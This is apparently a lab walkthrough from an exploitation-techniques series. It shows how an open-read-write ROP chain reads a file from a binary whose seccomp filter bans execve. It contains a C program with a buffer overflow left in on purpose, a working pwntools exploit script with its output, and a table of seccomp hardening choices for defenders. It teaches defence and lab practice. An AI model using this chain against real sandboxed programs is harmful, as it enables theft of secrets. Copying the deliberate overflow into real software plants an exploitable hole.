Seccomp Sandboxes and the open-read-write Chain
A seccomp policy that bans execve takes the shell off the table, so attackers switch goals: open the flag, read it, write it back. Build the ORW chain, and see what a tighter policy stops.
This is the fourteenth walkthrough in the Exploitation Techniques area. Every finale so far ended in execve("/bin/sh", ...). Many real targets — sandboxed parsers, browser renderers, hardened daemons — install a seccomp filter that forbids execve outright. A shell is impossible. So the attacker changes the objective: open the sensitive file, read it, write it back to the connection. This is the ORW (open-read-write) chain, and it is why seccomp is such a valuable mitigation to reason about.
Your own binary, disposable lab. See the lab rules.
The target: a sandbox that bans execve
/* vuln.c — installs a seccomp allowlist, then has an overflow. */
#include <unistd.h>
#include <seccomp.h>
static void sandbox(void) {
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); /* deny by default */
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat),0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx); /* execve now kills us */
}
void vuln(void){ char b[64]; read(0, b, 1024); }
int main(void){ sandbox(); vuln(); return 0; }
gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c -lseccomp
First, confirm the policy from the outside — exactly as a defender auditing the sandbox would:
$ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
...
0007: ALLOW open
0008: ALLOW read
0009: ALLOW write
0010: ALLOW exit_group
0011: KILL ← execve lands here
execve is not allowed, so ret2libc, one-gadget and an execve ROP chain all die on the KILL. But open, read and write are allowed.
The ORW chain
The plan is three syscalls: open("flag.txt") → read(fd, bss, n) → write(1, bss, n). We build it with gadgets exactly as in the ROP guide; a static binary has all we need, and pwntools' ROP lays out the syscalls.
# orw.py
from pwn import *
context.binary = elf = ELF("./vuln")
rop = ROP(elf)
bss = elf.bss(0x400) # scratch buffer, known address (no PIE)
# Stage the filename into .bss with a read, then open/read/write it.
rop.read(0, bss, 16) # read "flag.txt\0" into bss
rop.open(bss, 0) # fd = open(bss, O_RDONLY)
rop.read(3, bss, 100) # read(fd=3, bss, 100)
rop.write(1, bss, 100) # write(stdout, bss, 100)
payload = flat({72: rop.chain()})
io = process("./vuln")
io.sendline(payload) # the ORW chain
io.send(b"flag.txt\x00") # the filename read() consumes
print(io.recvall(timeout=2).decode(errors="replace"))
$ python3 orw.py
flag{seccomp_only_contained_the_shell_not_the_read}
No shell was ever spawned. The chain used only the three syscalls the policy allowed to read a file and print it. Note the assumption that the freshly opened file gets fd == 3 (stdin/out/err are 0/1/2); if the program has other open descriptors, adjust or use the return value.
When even open is blocked
Tighter policies deny open/openat too. Then attackers reach for openat2, open_by_handle_at, or already-open descriptors — which is exactly why a good policy also denies those and pins the allowed set as narrowly as the program truly needs.
The defensive lens: make the policy tighter
seccomp is the mitigation here, and this exercise shows both its value and its limits.
| Policy choice | Effect |
|---|---|
Deny execve/execveat | No shell — forces attackers to ORW |
Also deny open/openat/openat2 | No arbitrary file reads via new opens |
Deny socket/connect/sendto | No network exfiltration |
| Allow only the exact syscalls used | Smallest blast radius; audit with seccomp-tools |
SCMP_ACT_KILL vs ERRNO | KILL turns misuse into a loud crash you can alert on |
The point for defenders: seccomp does not stop the memory-corruption bug — the attacker still got code execution. It caps what that execution can do. A policy that bans execve but leaves open/read/write wide open still lets an attacker steal file contents. Scope the allowlist to what the program genuinely needs, deny file and network syscalls in pure-compute sandboxes, and audit the result.
What this teaches a defender
- Sandbox exposed parsers and daemons with seccomp. It is one of the few mitigations that limits a fully compromised process. For anything that handles untrusted input, it is high-value defence in depth.
- A shell is not the only prize. Even a perfect execve ban leaves data exfiltration on the table if file/network syscalls remain. Threat-model what the attacker wants (often just to read a secret), not only "can they get a shell."
- Audit the filter you actually shipped.
seccomp-tools dumpshows the real policy. Overly broad allowlists are common; treat the filter as security-critical configuration and review it.
Key takeaways
- A seccomp allowlist that denies
execvedefeats every shell-spawning finale in this series. - Attackers respond with an open-read-write chain:
openthe target file,readit,writeit back — using only permitted syscalls. - Build ORW with the same ROP mechanics as an execve chain; audit policies with
seccomp-tools. - seccomp contains a compromise, it does not prevent one — scope the allowlist tightly and deny file/network syscalls where the program does not need them.
This extends the series into contained, no-shell exploitation. For the full path and where to practise it legally, see the area overview and the CTF learning path.